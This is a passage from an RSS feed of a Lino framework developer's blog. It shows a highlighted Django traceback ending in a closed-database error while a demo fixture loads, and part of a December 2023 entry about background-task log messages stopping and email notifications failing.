  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/commands/loaddata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;163&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;loaddata&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_label&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fixture_label&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/commands/loaddata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;251&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;load_label&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/utils/dpy.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;deserialize&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;deserialize_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/utils/dpy.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;413&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;deserialize_module&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/xl/lino_xl/lib/pages/fixtures/demo2.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt;
    &lt;span class="n"&gt;async_to_sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Procedures&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_publisher_pages&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/asgiref/sync.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;277&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__call__&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;call_result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/concurrent/futures/_base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;451&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;__get_result&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.10/concurrent/futures/_base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;__get_result&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_exception&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/asgiref/sync.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;353&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;main_wrap&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;awaitable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/modlib/linod/choicelists.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;database_sync_to_async&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/asgiref/sync.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;479&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__call__&lt;/span&gt;
    &lt;span class="n"&gt;ret&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;_R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_in_executor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/asgiref/current_thread_executor.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/channels/db.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;thread_handler&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;thread_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/asgiref/sync.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;538&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;thread_handler&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/xl/lino_xl/lib/pages/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;344&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;update_publisher_pages&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_publisher_pages&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/xl/lino_xl/lib/pages/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;266&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_publisher_pages&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;parent__isnull&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;398&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__iter__&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_fetch_all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1926&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_fetch_all&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_result_cache&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_iterable_class&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/models/query.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__iter__&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;compiler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute_sql&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/models/sql/compiler.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1560&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute_sql&lt;/span&gt;
    &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/utils/asyncio.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;inner&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/backends/base/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;316&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_cursor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/backends/base/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;293&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_cursor&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wrap_database_errors&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/utils.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;91&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="fm"&gt;__exit__&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="n"&gt;dj_exc_value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;with_traceback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;traceback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;exc_value&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/backends/base/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;294&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_cursor&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_prepare_cursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_cursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/backends/sqlite3/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;create_cursor&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SQLiteCursorWrapper&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;utils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProgrammingError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Problem&lt;/span&gt; &lt;span class="n"&gt;installing&lt;/span&gt; &lt;span class="n"&gt;fixture&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/home/luc/work/xl/lino_xl/lib/pages/fixtures/demo2.py&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Cannot&lt;/span&gt; &lt;span class="n"&gt;operate&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt; &lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2023/1226.html</guid><pubDate>Tue, 26 Dec 2023 00:00:00 +0000</pubDate></item><item><title>Saturday, December 16, 2023</title><link>https://luc.lino-framework.org/blog/2023/1216.html</link><description>&lt;section id="saturday-december-16-2023"&gt;
&lt;h1&gt;Saturday, December 16, 2023&lt;a class="headerlink" href="#saturday-december-16-2023" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Strange. On Thursday morning around 8:00 I changed the level of the “Let
background tasks sleep for 8.694031 seconds” logger message in
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;BackgroundTask.start_task_runner()&lt;/span&gt;&lt;/code&gt; from “debug” to “info” so that Jane
since then faithfully wrote this message every 10 seconds to the
&lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#xfile-lino.log" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.log&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file. These messages appear until Thu at 20:07:09. And then
they stop suddenly without any visible reason. This is also the moment when Jane
stopped to send email notifications.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;35&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;125638&lt;/span&gt; &lt;span class="mi"&gt;140314165638912&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;run_action&lt;/span&gt; &lt;span class="n"&gt;luc&lt;/span&gt; &lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Tickets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit_detail&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Ticket&lt;/span&gt; &lt;span class="c1"&gt;#5278 (&amp;quot;#5278 (Jane doesn&amp;#39;t send mails)&amp;quot;)]&lt;/span&gt;
&lt;span class="mi"&gt;202312&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;56&lt;/span&gt; &lt;span class="n"&gt;INFO&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt; &lt;span class="mi"&gt;139740051445568&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Started&lt;/span&gt; &lt;span class="n"&gt;manage&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt; &lt;span class="n"&gt;linod&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;force&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;lino_local&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;jane&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;--&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PID&lt;/span&gt; &lt;span class="mi"&gt;136977&lt;/span&gt;
